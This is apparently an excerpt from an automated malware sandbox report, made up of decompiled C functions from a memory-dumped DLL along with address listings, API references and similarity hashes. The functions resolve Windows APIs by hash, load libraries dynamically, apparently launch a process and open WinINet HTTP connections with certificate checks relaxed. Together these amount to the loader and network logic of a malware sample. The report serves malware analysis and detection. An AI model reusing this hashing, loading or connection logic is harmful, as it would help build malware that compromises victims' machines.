				signed int _t118;
				signed int _t119;
				signed int _t120;
				signed int _t127;
				intOrPtr _t128;
				intOrPtr* _t132;
				void* _t147;
				void* _t157;
				intOrPtr _t160;
				signed int _t170;
				signed int _t174;
				void* _t189;
				intOrPtr* _t190;
				signed int _t193;
				unsigned int _t197;
				intOrPtr _t200;
				signed short* _t201;
				signed int _t204;
				void* _t222;
				signed int _t226;
				signed int _t229;
				signed int _t230;
				intOrPtr* _t256;
				intOrPtr* _t264;
				signed int _t279;
				signed int _t281;
				signed int _t284;
				void* _t328;
				signed int _t329;
				signed int _t332;
				void* _t334;
				signed int _t335;
				intOrPtr _t338;
				void* _t341;
				intOrPtr* _t344;

				E6ED48CA0(_t344 + 0xe4);
				E6ED48CA0(_t344 + 0x118);
				if(1 == 0) {
					_t226 = 0;
					__eflags = 0;
				} else {
					_t226 = 1;
				}
				E6ED3AC00(_t344 + 0x120, 2);
				E6ED4D980(_t344 + 0x128, _t344 + 0x130, 0x7e);
				E6ED48CA0(_t344 + 0x120);
				if( *(_t344 + 0x130) > 0) {
					 *_t344 = _t338;
					_t329 = _t344 + 0x130;
					L6:
					while(1) {
						L6:
						while(1) {
							L6:
							if(E6ED415C0(0xa1310f65, 0xf3af54a7) != 0) {
								LoadLibraryW( *(E6ED57600(_t329, _t332))); // executed
							}
							_t222 =  *(_t344 + 0x130);
							while(1) {
								_t332 = 1;
								if(1 >= _t222) {
									break;
								}
								if(1 != 4) {
									goto L6;
								} else {
									_t316 =  *0x6ed6b02a & 0x000000ff;
									if(( *0x6ed6b02a & 0x000000ff) == 2) {
										continue;
									} else {
										goto L6;
									}
								}
								goto L14;
							}
							_t338 =  *_t344;
							goto L14;
						}
					}
				}
				L14:
				__eflags =  *((intOrPtr*)(_t338 + 0x2c)) - 2;
				if( *((intOrPtr*)(_t338 + 0x2c)) != 2) {
					__eflags =  *0x6ed6b028 & 0x000000ff;
					if(( *0x6ed6b028 & 0x000000ff) == 0) {
						__eflags =  *0x6ed6b265 & 0x000000ff;
						if(( *0x6ed6b265 & 0x000000ff) == 0) {
							__eflags =  *0x6ed6b1cc - 1;
							if( *0x6ed6b1cc != 1) {
								_t200 =  *0x6ed6b1d0; // 0x93fa98
								_t201 =  *(_t200 + 4);
								_t316 =  *_t201 & 0x0000ffff;
								__eflags = ( *_t201 & 0x0000ffff) - 0x2d;
								if(( *_t201 & 0x0000ffff) != 0x2d) {
									E6ED48AB0(_t344 + 0xcc, _t201, 0);
									_push(0x80);
									_push(0);
									E6ED5A4E0(_t344 + 0x68, __eflags,  *((intOrPtr*)(_t344 + 0xd0)), 1);
									_t204 = E6ED5BEA0(_t344 + 0x64, _t316, _t332);
									__eflags = _t204;
									if(_t204 == 0) {
										__eflags =  *((char*)(_t344 + 0x68));
										if( *((char*)(_t344 + 0x68)) != 0) {
											E6ED5BE30(_t344 + 0x64, _t332);
										}
										E6ED48CA0(_t344 + 0x58);
										_t335 = 0;
										__eflags = 0;
										while(1) {
											__eflags = E6ED5A730(_t344 + 0xc4, _t316);
											if(__eflags == 0) {
												break;
											}
											E6ED422A0(0x64, _t316);
											_t335 = _t335 + 1;
											__eflags = _t335 - 0x64;
											if(__eflags < 0) {
												continue;
											}
											break;
										}
										_t332 = _t344 + 0xcc;
										do {
											E6ED4AE80(_t344 + 0xcc, __eflags, _t332, 0x5c);
											E6ED48CC0(_t344 + 0xc8,  *(_t344 + 0xcc));
											E6ED48CA0(_t332);
											__eflags = E6ED5A730(_t344 + 0xc4, _t316);
										} while (__eflags == 0);
									} else {
										__eflags =  *((char*)(_t344 + 0x68));
										if( *((char*)(_t344 + 0x68)) != 0) {
											E6ED5BE30(_t344 + 0x64, _t332);
										}
										E6ED48CA0(_t344 + 0x58);
									}
									E6ED48CA0(_t344 + 0xc4);
								}
							}
						}
					}
					__eflags = ( *0x6ed6b02a & 0x000000ff) - 2;
					if(( *0x6ed6b02a & 0x000000ff) == 2) {
						L43:
						_t109 =  *0x6ed6b1ad; // 0xb72078
						__eflags = _t109;
						if(_t109 == 0) {
							L45:
							_t110 =  *0x6ed6b1ad; // 0xb72078
							__eflags = _t110;
							if(_t110 == 0) {
								_push(0x10);
								_t111 = E6ED41030();
								_t344 = _t344 + 4;
								__eflags = _t111;
								if(_t111 != 0) {
									_push(0);
									_t112 = E6ED59350(_t111);
								} else {
									_t112 = 0;
								}
								 *0x6ed6b1ad = _t112;
							}
							_t332 =  *0x6ed6b1ad; // 0xb72078
							__eflags = ( *0x6ed6b02a & 0x000000ff) - 1;
							if(( *0x6ed6b02a & 0x000000ff) == 1) {
								_t316 = 0x18f8c844;
								_t329 = _t344 + 0x28;
								E6ED36AD0(_t226, _t329, 0x18f8c844, _t329, _t332, 1, 0);
								_push(_t329);
								E6ED59520(_t332);
								E6ED59510(_t329);
							} else {
								E6ED59710(_t332, 0x6ed6b02d,  *0x6ed6b02b & 0x0000ffff);
							}
						} else {
							_t281 =  *0x6ed6b1ad; // 0xb72078
							_t174 = E6ED59660(_t281);
							__eflags = _t174;
							if(_t174 != 0) {
								goto L45;
							}
						}
						_t117 =  *0x6ed6b1b1; // 0x0
						__eflags = _t117;
						if(_t117 == 0) {
							L51:
							_t118 =  *0x6ed6b1b1; // 0x0
							__eflags = _t118;
							if(_t118 == 0) {
								_push(0x10);
								_t119 = E6ED41030();
								_t344 = _t344 + 4;
								__eflags = _t119;
								if(_t119 != 0) {
									_push(0);
									_t120 = E6ED59350(_t119);
								} else {
									_t120 = 0;
								}
								 *0x6ed6b1b1 = _t120;
							}
							_t329 =  *0x6ed6b1b1; // 0x0
							__eflags = ( *0x6ed6b02a & 0x000000ff) - 1;
							if(( *0x6ed6b02a & 0x000000ff) == 1) {
								_t316 = 0x11041f01;
								E6ED36AD0(_t226, _t344 + 0x38, 0x11041f01, _t329, _t332, 1, 1);
								_push(_t344 + 0x38);
								E6ED59520(_t329);
								E6ED59510(_t344 + 0x38);
								_t127 = E6ED59650(_t329);
								__eflags = _t127;
								if(_t127 != 0) {
									_t316 = 0xd3ef7577;
									E6ED36AD0(_t226, _t344 + 8, 0xd3ef7577, _t329, _t332, 0, 0);
									E6ED59510(_t344);
								}
							} else {
								_t332 =  *0x6ed6b1c4; // 0x6ed30000
								__eflags =  *((char*)(E6ED43930(_t226, 0, _t329, _t332) + 0xb)) - 0x20;
								_t325 =  ==  ? 0x7e839a6 : 0x93fc68d6;
								_t316 = _t332;
								E6ED39090(_t344 + 0x88, _t332,  ==  ? 0x7e839a6 : 0x93fc68d6);
								_push(_t344 + 0x88);
								E6ED59520(_t329);
								E6ED59510(_t344 + 0x88);
							}
						} else {
							_t279 =  *0x6ed6b1b1; // 0x0
							_t170 = E6ED59660(_t279);
							__eflags = _t170;
							if(_t170 != 0) {
								goto L51;
							}
						}
						_t128 =  *((intOrPtr*)(_t338 + 0x2c));
						__eflags = _t128 - 3;
						if(_t128 == 3) {
							__eflags =  *0x6ed6b1cc - 3;
							if( *0x6ed6b1cc == 3) {
								E6ED48CC0(_t344 + 0x10c,  *((intOrPtr*)( *0x6ed6b1d0 + 8)));
							}
							_t227 = _t344 + 0x48;
							E6ED48810(_t344 + 0x48, 0);
							_t132 = E6ED49890(_t227, _t344 + 0x48, _t316, _t329, _t332, _t227, 0x6ed69428,  *((intOrPtr*)(_t338 + 0x2c)));
							E6ED50220(_t344 + 0x110,  *_t132, 0);
							E6ED48CA0(_t227);
							L6ED38180(_t332);
						} else {
							__eflags = _t128 - 5;
							if(_t128 != 5) {
								__eflags = _t128 - 6;
								if(__eflags == 0) {
									_t256 = _t344 + 0xa4;
									 *_t256 = 0;
									 *((intOrPtr*)(_t256 + 4)) = 0;
									 *((intOrPtr*)(_t256 + 8)) = 0;
									 *((intOrPtr*)(_t256 + 0xc)) = 0;
									L6ED45B60(_t226, _t256, _t329, _t332, __eflags);
									E6ED36740(_t344 + 0xa4);
									E6ED41350(0x12);
									__eflags =  *(_t344 + 0xa8);
									if( *(_t344 + 0xa8) > 0) {
										_t229 = 0;
										__eflags = 0;
										do {
											_t147 = E6ED62B00(_t344 + 0xa8, _t229);
											__eflags =  *((char*)(_t147 + 0x3c));
											if( *((char*)(_t147 + 0x3c)) == 0) {
												E6ED32A40(_t344 + 0x50, _t147);
												E6ED48CA0(_t344 + 0x50);
											}
											_t229 = _t229 + 1;
											__eflags = _t229 -  *(_t344 + 0xa8);
										} while (_t229 <  *(_t344 + 0xa8));
									}
									E6ED62970(_t226, _t344 + 0xa4, _t329);
									_t260 =  *(_t344 + 0xb0);
									__eflags =  *(_t344 + 0xb0);
									if( *(_t344 + 0xb0) != 0) {
										E6ED32A20(_t260, 1);
									}
								}
							} else {
								__eflags = _t226;
								if(_t226 == 0) {
									__eflags =  *0x6ed6b1cc - 1;
									if(__eflags <= 0) {
										L60:
										_t264 = _t344 + 0x18;
										 *_t264 = 0;
										 *((intOrPtr*)(_t264 + 4)) = 0;
										 *((intOrPtr*)(_t264 + 8)) = 0;
										 *((intOrPtr*)(_t264 + 0xc)) = 0;
										L6ED45B60(_t226, _t264, _t329, _t332, __eflags);
										__eflags = ( *0x6ed6b029 & 0x000000ff) - 1;
										E6ED37DB0(_t344 + 0x18, 0 | ( *0x6ed6b029 & 0x000000ff) - 0x00000001 > 0x00000000);
										__eflags =  *0x6ed6b029 & 0x000000ff;
										if(( *0x6ed6b029 & 0x000000ff) != 0) {
											E6ED41350(0x12);
											__eflags =  *(_t344 + 0x1c);
											if( *(_t344 + 0x1c) > 0) {
												_t230 = 0;
												__eflags = 0;
												do {
													_t157 = E6ED62B00(_t344 + 0x1c, _t230);
													__eflags =  *((char*)(_t157 + 0x3c));
													if( *((char*)(_t157 + 0x3c)) == 0) {
														E6ED32A40(_t344 + 0x10, _t157);
														E6ED48CA0(_t344 + 0x10);
													}
													_t230 = _t230 + 1;
													__eflags = _t230 -  *(_t344 + 0x1c);
												} while (_t230 <  *(_t344 + 0x1c));
											}
										}
										E6ED62970(_t226, _t344 + 0x18, _t329);
										_t267 =  *(_t344 + 0x24);
										__eflags =  *(_t344 + 0x24);
										if( *(_t344 + 0x24) != 0) {
											E6ED32A20(_t267, 1);
										}
									} else {
										_t160 =  *0x6ed6b1d0; // 0x93fa98
										__eflags = ( *( *(_t160 + 4)) & 0x0000ffff) - 0x2d;
										if(__eflags != 0) {
											goto L60;
										}
									}
								}
							}
						}
						E6ED58910(_t344 + 0x130, _t329, _t332);
						E6ED48CA0(_t344 + 0x110);
						E6ED48CA0(_t344 + 0x108);
						E6ED47A70(_t344 + 0x128);
						__eflags = 0;
						return 0;
					} else {
						__eflags =  *0x6ed6b027 & 0x000000ff;
						if(( *0x6ed6b027 & 0x000000ff) == 0) {
							goto L43;
						} else {
							__eflags = _t226;
							if(_t226 != 0) {
								goto L43;
							} else {
								__eflags =  *((char*)(_t338 + 0xb)) - 0x20;
								_t327 =  ==  ? 0x7fe7dfa2 : 0xfd81b916;
								E6ED361B0(_t344 + 0x3c,  ==  ? 0x7fe7dfa2 : 0xfd81b916,  *((char*)(_t338 + 0xb)) - 0x20);
								E6ED48810(_t344 + 0x18, 0x200);
								_t284 = E6ED415C0(0xa1310f65, 0xc4d11e8a);
								__eflags = _t284;
								if(__eflags != 0) {
									_t197 =  *(_t344 + 0x18) >> 1;
									__eflags = _t197;
									_t327 =  *0x6ed6b1c4; // 0x6ed30000
									 *_t284(_t327,  *(_t344 + 0x18), _t197);
								}
								_push(0x80);
								_push(0);
								E6ED5A4E0(_t344 + 0x10, __eflags,  *((intOrPtr*)(_t344 + 0x20)), 1);
								E6ED5A520(_t344 + 8, _t327, _t344 + 0x1c, 0);
								__eflags =  *((char*)(_t344 + 0x10));
								if( *((char*)(_t344 + 0x10)) != 0) {
									E6ED5BE30(_t344 + 0xc, _t332);
								}
								__eflags = 0;
								E6ED48CA0(_t344);
								_t334 = _t344 + 0x1a0;
								_t341 = _t344 + 0x2c;
								while(1) {
									E6ED40B70(_t334, 0, 0x44);
									 *((intOrPtr*)(_t344 + 0x1ac)) = 0x44;
									E6ED40B70(_t341, 0, 0x10);
									_t344 = _t344 + 0x18;
									E6ED48810(_t344 + 0x4c, 0);
									_t189 = E6ED496D0(E6ED496D0(E6ED50220(_t344 + 0x50,  *((intOrPtr*)(_t344 + 0x40)), 0), 0x20), 0x22);
									_t190 =  *0x6ed6b1d0; // 0x93fa98
									E6ED496D0(E6ED50220(_t189,  *_t190, 0), 0x22);
									_t193 = E6ED415C0(0xa1310f65, 0x643f303c);
									__eflags = _t193;
									if(_t193 != 0) {
										break;
									}
									E6ED48CA0(_t344 + 0x48);
								}
								_push(_t341);
								_push(_t334);
								_push(0);
								_push(0);
								_push(4);
								_push(0);
								_push(0);
								_push(0);
								_push( *((intOrPtr*)(_t344 + 0x68)));
								_push( *((intOrPtr*)(_t344 + 0x60)));
								asm("int3");
								return _t193;
							}
						}
					}
				} else {
					E6ED58910(_t344 + 0x130, _t328, _t332);
					E6ED48CA0(_t344 + 0x110);
					E6ED48CA0(_t344 + 0x108);
					E6ED47A70(_t344 + 0x128);
					__eflags = 0;
					return 0;
				}
			}

0x6ed355a8
0x6ed355b4
0x6ed355bb
0x6ed355c4
0x6ed355c4
0x6ed355bd
0x6ed355bd
0x6ed355bd
0x6ed355d2
0x6ed355e8
0x6ed355f4
0x6ed35601
0x6ed35603
0x6ed35608
0x00000000
0x6ed3560f
0x00000000
0x6ed3560f
0x6ed3560f
0x6ed35622
0x6ed3562e
0x6ed3562e
0x6ed35630
0x6ed35637
0x6ed35637
0x6ed3563a
0x00000000
0x00000000
0x6ed3563f
0x00000000
0x6ed35641
0x6ed35641
0x6ed3564b
0x00000000
0x6ed3564d
0x00000000
0x6ed3564d
0x6ed3564b
0x00000000
0x6ed3563f
0x6ed3564f
0x00000000
0x6ed3564f
0x6ed3560f
0x6ed3560f
0x6ed35652
0x6ed35652
0x6ed35656
0x6ed3569c
0x6ed3569e
0x6ed356ab
0x6ed356ad
0x6ed356b3
0x6ed356ba
0x6ed356c0
0x6ed356c5
0x6ed356c8
0x6ed356cb
0x6ed356ce
0x6ed356de
0x6ed356e3
0x6ed356e8
0x6ed356f7
0x6ed35700
0x6ed35705
0x6ed35707
0x6ed35724
0x6ed35729
0x6ed3572f
0x6ed3572f
0x6ed35738
0x6ed3573d
0x6ed3573d
0x6ed3573f
0x6ed3574b
0x6ed3574d
0x00000000
0x00000000
0x6ed35754
0x6ed35759
0x6ed3575a
0x6ed3575d
0x00000000
0x00000000
0x00000000
0x6ed3575d
0x6ed3575f
0x6ed35766
0x6ed35770
0x6ed35783
0x6ed3578a
0x6ed3579b
0x6ed3579b
0x6ed35709
0x6ed35709
0x6ed3570e
0x6ed35714
0x6ed35714
0x6ed3571d
0x6ed3571d
0x6ed357a6
0x6ed357a6
0x6ed356ce
0x6ed356ba
0x6ed356ad
0x6ed357b2
0x6ed357b5
0x6ed35b3c
0x6ed35b3c
0x6ed35b41
0x6ed35b43
0x6ed35b54
0x6ed35b54
0x6ed35b59
0x6ed35b5b
0x6ed35e33
0x6ed35e35
0x6ed35e3a
0x6ed35e3d
0x6ed35e3f
0x6ed35e47
0x6ed35e49
0x6ed35e41
0x6ed35e41
0x6ed35e41
0x6ed35e4e
0x6ed35e4e
0x6ed35b61
0x6ed35b6e
0x6ed35b71
0x6ed35e0b
0x6ed35e10
0x6ed35e1a
0x6ed35e21
0x6ed35e22
0x6ed35e29
0x6ed35b77
0x6ed35b86
0x6ed35b86
0x6ed35b45
0x6ed35b45
0x6ed35b4b
0x6ed35b50
0x6ed35b52
0x00000000
0x00000000
0x6ed35b52
0x6ed35b92
0x6ed35b97
0x6ed35b99
0x6ed35baa
0x6ed35baa
0x6ed35baf
0x6ed35bb1
0x6ed35eb0
0x6ed35eb2
0x6ed35eb7
0x6ed35eba
0x6ed35ebc
0x6ed35ec4
0x6ed35ec6
0x6ed35ebe
0x6ed35ebe
0x6ed35ebe
0x6ed35ecb
0x6ed35ecb
0x6ed35bb7
0x6ed35bc4
0x6ed35bc7
0x6ed35e62
0x6ed35e68
0x6ed35e73
0x6ed35e74
0x6ed35e7d
0x6ed35e84
0x6ed35e89
0x6ed35e8b
0x6ed35e93
0x6ed35e9e
0x6ed35ea6
0x6ed35ea6
0x6ed35bcd
0x6ed35bcf
0x6ed35be8
0x6ed35bf1
0x6ed35bf5
0x6ed35bf7
0x6ed35c05
0x6ed35c06
0x6ed35c12
0x6ed35c12
0x6ed35b9b
0x6ed35b9b
0x6ed35ba1
0x6ed35ba6
0x6ed35ba8
0x00000000
0x00000000
0x6ed35ba8
0x6ed35c1e
0x6ed35c21
0x6ed35c24
0x6ed35d87
0x6ed35d8e
0x6ed35ee4
0x6ed35ee4
0x6ed35d94
0x6ed35d9c
0x6ed35daa
0x6ed35dbd
0x6ed35dc4
0x6ed35dc9
0x6ed35c2a
0x6ed35c2a
0x6ed35c2d
0x6ed35cf0
0x6ed35cf3
0x6ed35cfb
0x6ed35d02
0x6ed35d04
0x6ed35d07
0x6ed35d0a
0x6ed35d0d
0x6ed35d1b
0x6ed35d25
0x6ed35d2a
0x6ed35d32
0x6ed35d34
0x6ed35d34
0x6ed35d36
0x6ed35d3e
0x6ed35d43
0x6ed35d47
0x6ed35d4f
0x6ed35d58
0x6ed35d58
0x6ed35d5d
0x6ed35d5e
0x6ed35d5e
0x6ed35d36
0x6ed35d6e
0x6ed35d73
0x6ed35d7a
0x6ed35d7c
0x6ed35d80
0x6ed35d80
0x6ed35d7c
0x6ed35c33
0x6ed35c33
0x6ed35c35
0x6ed35c3b
0x6ed35c42
0x6ed35c58
0x6ed35c5a
0x6ed35c5e
0x6ed35c60
0x6ed35c63
0x6ed35c66
0x6ed35c69
0x6ed35c77
0x6ed35c81
0x6ed35c8d
0x6ed35c8f
0x6ed35c96
0x6ed35c9b
0x6ed35ca0
0x6ed35ca2
0x6ed35ca2
0x6ed35ca4
0x6ed35ca9
0x6ed35cae
0x6ed35cb2
0x6ed35cba
0x6ed35cc3
0x6ed35cc3
0x6ed35cc8
0x6ed35cc9
0x6ed35cc9
0x6ed35ca4
0x6ed35ca0
0x6ed35cd3
0x6ed35cd8
0x6ed35cdc
0x6ed35cde
0x6ed35ce6
0x6ed35ce6
0x6ed35c44
0x6ed35c44
0x6ed35c4f
0x6ed35c52
0x00000000
0x00000000
0x6ed35c52
0x6ed35c42
0x6ed35c35
0x6ed35c2d
0x6ed35dd5
0x6ed35de1
0x6ed35ded
0x6ed35df9
0x6ed35dfe
0x6ed35e0a
0x6ed357bb
0x6ed357c2
0x6ed357c4
0x00000000
0x6ed357ca
0x6ed357ca
0x6ed357cc
0x00000000
0x6ed357d2
0x6ed357dc
0x6ed357e4
0x6ed357e7
0x6ed357f5
0x6ed35809
0x6ed3580b
0x6ed3580d
0x6ed35813
0x6ed35813
0x6ed3581a
0x6ed35821
0x6ed35821
0x6ed35823
0x6ed35828
0x6ed35834
0x6ed35844
0x6ed35849
0x6ed3584e
0x6ed35854
0x6ed35854
0x6ed35859
0x6ed3585e
0x6ed35863
0x6ed3586a
0x6ed3586e
0x6ed35873
0x6ed35878
0x6ed35888
0x6ed3588d
0x6ed35896
0x6ed358b7
0x6ed358be
0x6ed358d0
0x6ed358df
0x6ed358e4
0x6ed358e6
0x00000000
0x00000000
0x6ed35996
0x6ed35996
0x6ed358ec
0x6ed358ed
0x6ed358ee
0x6ed358ef
0x6ed358f0
0x6ed358f2
0x6ed358f3
0x6ed358f4
0x6ed358f5
0x6ed358f9
0x6ed358fd
0x6ed358fe
0x6ed358fe
0x6ed357cc
0x6ed357c4
0x6ed35658
0x6ed3565f
0x6ed3566b
0x6ed35677
0x6ed35683
0x6ed35688
0x6ed35694
0x6ed35694

APIs

LoadLibraryW.KERNELBASE(00000000,00000001,A1310F65,F3AF54A7,A1310F65,F3AF54A7), ref: 6ED3562E

Strings

)V, xrefs: 6ED355D2

Memory Dump Source

Source File: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Offset: 6ED30000, based on PE: true

Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791939935.000000006ED6B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.791948148.000000006ED6C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: LibraryLoad
String ID: )V
API String ID: 1029625771-578813878
Opcode ID: 8f5a52c2430ad32ff098f47f2d2eeb69118b75e1329e65f338066171d20a6c81
Instruction ID: 4cde69b19cccaaebaf239666e807cf1da1bf3b3ab92c77cbd7235848c60cdcca
Opcode Fuzzy Hash: 8f5a52c2430ad32ff098f47f2d2eeb69118b75e1329e65f338066171d20a6c81
Instruction Fuzzy Hash: 0601803111C2A0CBC772AFD4C8A0BEEB3E9AB96344F600D29D5C642190EF309945CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6ED63370, Relevance: 3.4, APIs: 2, Instructions: 366
networkCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E6ED63370(void* __ebx, intOrPtr* __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t102;
				signed int _t109;
				signed int _t118;
				signed int _t119;
				intOrPtr* _t128;
				signed int _t129;
				intOrPtr _t151;
				signed int _t153;
				signed int _t154;
				intOrPtr _t155;
				void* _t158;
				WCHAR* _t160;
				signed int _t161;
				signed int _t162;
				signed int _t163;
				void* _t164;
				signed int _t165;
				WCHAR* _t166;
				void* _t167;
				void* _t169;
				short _t172;
				signed int _t174;
				signed int _t177;
				signed int _t179;
				signed int _t180;
				signed int _t181;
				signed int _t209;
				signed int _t226;
				signed int _t228;
				signed int _t229;
				intOrPtr _t230;
				signed int _t240;
				void* _t241;
				WCHAR* _t244;
				intOrPtr* _t249;
				void* _t253;
				short* _t254;

				_t254 = _t253 - 0x60;
				_t244 = 0;
				_t249 = __ecx;
				 *_t254 = 0;
				E6ED506A0( &(_t254[4]), __ecx, 0);
				E6ED506A0( &(_t254[8]), __ecx, 0);
				E6ED506A0( &(_t254[0xc]), __ecx, 0);
				E6ED506A0( &(_t254[0x10]), __ecx, 0);
				E6ED64D50( &(_t254[2]),  *(_t254[0x3a]));
				_t172 =  *_t254;
				E6ED48810( &(_t254[0x1e]), 0);
				E6ED487A0( &(_t254[0x20]));
				E6ED487A0( &(_t254[0x24]));
				_t102 = E6ED50220( &(_t254[0x20]), _t254[0x26], 0);
				E6ED487A0( &(_t254[0x28]));
				E6ED50220(_t102, _t254[0x2a], 0);
				E6ED48CA0( &(_t254[0x28]));
				E6ED48CA0( &(_t254[0x24]));
				if(E6ED51000( &(_t254[2])) == 0) {
					_t242 = _t254[2];
					_t169 = E6ED5D620(_t242, E6ED56040(_t254[2], 0x7fffffff));
					if(_t169 != 0x97780db2) {
						__eflags = _t169 - 0x3ef665a6;
						if(_t169 == 0x3ef665a6) {
							 *(_t249 + 0x18) = 1;
						}
					} else {
						 *(_t249 + 0x18) = 0;
					}
				}
				if(E6ED415C0(0xd27f045a, 0xe214cde) == 0) {
					__eflags =  *((char*)(_t249 + 0xc));
					if( *((char*)(_t249 + 0xc)) == 0) {
						L71:
						 *((char*)(_t249 + 0xc)) = 1;
						 *(_t249 + 8) = 0;
						goto L17;
					} else {
						_t180 =  *(_t249 + 8);
						__eflags = _t180;
						if(_t180 == 0) {
							L67:
							_t162 = 1;
						} else {
							__eflags = _t180 - 0xffffffff;
							if(_t180 == 0xffffffff) {
								goto L67;
							} else {
								_t162 = _t244;
							}
						}
						__eflags = _t162;
						if(_t162 != 0) {
							goto L71;
						} else {
							_t163 = E6ED415C0(0xd27f045a, 0xdda3415f);
							__eflags = _t163;
							if(_t163 == 0) {
								goto L71;
							} else {
								_push(_t180);
								asm("int3");
								return _t163;
							}
						}
					}
				} else {
					_t164 =  *0x6ed6b248; // 0xcc0004
					_t165 = InternetConnectW(_t164, _t254[0x2c], _t172, _t244, _t244, 3, _t244, _t244); // executed
					_t181 = _t165;
					if( *((char*)(_t249 + 0xc)) == 0) {
						L14:
						 *((char*)(_t249 + 0xc)) = 1;
						 *(_t249 + 8) = _t181;
						__eflags = _t181;
						if(_t181 == 0) {
							L17:
							_t109 = 1;
						} else {
							__eflags = _t181 - 0xffffffff;
							if(_t181 == 0xffffffff) {
								goto L17;
							} else {
								_t109 = _t244;
							}
						}
						__eflags = _t109;
						if(_t109 != 0) {
							 *_t249 = E6ED47F00();
							E6ED48CA0( &(_t254[0x20]));
							E6ED48CA0( &(_t254[0x1c]));
							E6ED50B10( &(_t254[0xe]));
							E6ED50B10( &(_t254[0xa]));
							E6ED50B10( &(_t254[6]));
							E6ED50B10( &(_t254[2]));
							__eflags = 0;
							return 0;
						} else {
							__eflags =  *(_t249 + 0x18) - 1;
							if( *(_t249 + 0x18) == 1) {
								_t254[0x2c] = 0x80a03200;
							} else {
								_t254[0x2c] = 0x80203200;
							}
							_t118 = E6ED415C0(0xd27f045a, 0x8813e141);
							__eflags = _t118;
							if(_t118 == 0) {
								__eflags =  *((char*)(_t249 + 0x14));
								if( *((char*)(_t249 + 0x14)) == 0) {
									L62:
									 *((char*)(_t249 + 0x14)) = 1;
									_t174 = _t244;
									 *(_t249 + 0x10) = 0;
									goto L34;
								} else {
									_t177 =  *(_t249 + 0x10);
									__eflags = _t177;
									if(_t177 == 0) {
										L58:
										_t153 = 1;
									} else {
										__eflags = _t177 - 0xffffffff;
										if(_t177 == 0xffffffff) {
											goto L58;
										} else {
											_t153 = _t244;
										}
									}
									__eflags = _t153;
									if(_t153 != 0) {
										goto L62;
									} else {
										_t154 = E6ED415C0(0xd27f045a, 0xdda3415f);
										__eflags = _t154;
										if(_t154 == 0) {
											goto L62;
										} else {
											_push(_t177);
											asm("int3");
											return _t154;
										}
									}
								}
							} else {
								_t155 =  *((intOrPtr*)(_t249 + 0x1c));
								__eflags = _t155 - 1;
								_t156 =  !=  ? _t244 : _t155;
								E6ED47B30(_t155 - 1,  &(_t254[0x18]), 0x6ed6aa40,  !=  ? _t244 : _t155);
								_t158 = HttpOpenRequestW( *(_t249 + 8), _t254[0x24], _t254[0x26], _t244, _t244, _t244, _t254[0x2e], _t244); // executed
								_t179 = _t158;
								__eflags =  *((char*)(_t249 + 0x14));
								if( *((char*)(_t249 + 0x14)) == 0) {
									L31:
									 *(_t249 + 0x10) = _t179;
									 *((char*)(_t249 + 0x14)) = 1;
									E6ED48CA0( &(_t254[0x18]));
									_t174 =  *(_t249 + 0x10);
									__eflags = _t174;
									if(_t174 == 0) {
										L34:
										_t119 = 1;
									} else {
										__eflags = _t174 - 0xffffffff;
										if(_t174 == 0xffffffff) {
											goto L34;
										} else {
											_t119 = _t244;
										}
									}
									__eflags = _t119;
									if(_t119 != 0) {
										 *_t249 = E6ED47F00();
										E6ED48CA0( &(_t254[0x20]));
										E6ED48CA0( &(_t254[0x1c]));
										E6ED50B10( &(_t254[0xe]));
										E6ED50B10( &(_t254[0xa]));
										E6ED50B10( &(_t254[6]));
										E6ED50B10( &(_t254[2]));
										__eflags = 0;
										return 0;
									} else {
										_t128 =  *0x6ed6b244; // 0xb7b294eb
										__eflags = _t128 - 0xb7b294eb;
										if(_t128 != 0xb7b294eb) {
											E6ED62760( &(_t254[0x18]),  *_t128, 0xffffffff);
											_t151 =  *0x6ed6b27c; // 0x0
											while(1) {
												__eflags =  *(_t151 + _t244 * 8);
												if( *(_t151 + _t244 * 8) == 0) {
													break;
												}
												_t244 =  &(_t244[0]);
												__eflags = _t244 - 0x1000;
												if(_t244 < 0x1000) {
													continue;
												}
												L40:
												E6ED62810(_t151,  &(_t254[0x14]));
												goto L41;
											}
											 *(_t151 + _t244 * 8) = _t174;
											_t151 = E6ED410E0(0);
											_t230 =  *0x6ed6b27c; // 0x0
											 *((intOrPtr*)(_t230 + 4 + _t244 * 8)) = _t151;
											goto L40;
										}
										L41:
										_t129 =  *(_t249 + 0x40);
										__eflags = _t129;
										if(_t129 != 0) {
											_t254[0x12] = _t129 * 0x3e8;
											_t228 = E6ED415C0(0xd27f045a, 0x863455c4);
											__eflags = _t228;
											if(_t228 != 0) {
												 *_t228( *(_t249 + 0x10), 5,  &(_t254[0x12]), 4);
											}
											_t229 = E6ED415C0(0xd27f045a, 0x863455c4);
											__eflags = _t229;
											if(_t229 != 0) {
												 *_t229( *(_t249 + 0x10), 6,  &(_t254[0x12]), 4);
											}
										}
										_t254[0x2e] = 4;
										_t209 = E6ED415C0(0xd27f045a, 0x9217c72);
										__eflags = _t209;
										if(_t209 != 0) {
											 *_t209( *(_t249 + 0x10), 0x1f,  &(_t254[0x2c]),  &(_t254[0x2e]));
										}
										_t254[0x2c] = _t254[0x2c] | 0x00003380;
										_t226 = E6ED415C0(0xd27f045a, 0x863455c4);
										__eflags = _t226;
										if(_t226 != 0) {
											 *_t226( *(_t249 + 0x10), 0x1f,  &(_t254[0x2c]), _t254[0x2e]);
										}
										E6ED48CA0( &(_t254[0x20]));
										E6ED48CA0( &(_t254[0x1c]));
										E6ED50B10( &(_t254[0xe]));
										E6ED50B10( &(_t254[0xa]));
										E6ED50B10( &(_t254[6]));
										E6ED50B10( &(_t254[2]));
										return 1;
									}
								} else {
									_t240 =  *(_t249 + 0x10);
									__eflags = _t240;
									if(_t240 == 0) {
										L27:
										_t160 = 1;
									} else {
										__eflags = _t240 - 0xffffffff;
										if(_t240 == 0xffffffff) {
											goto L27;
										} else {
											_t160 = _t244;
										}
									}
									__eflags = _t160;
									if(_t160 != 0) {
										goto L31;
									} else {
										_t161 = E6ED415C0(0xd27f045a, 0xdda3415f);
										__eflags = _t161;
										if(_t161 == 0) {
											goto L31;
										} else {
											_push(_t240);
											asm("int3");
											return _t161;
										}
									}
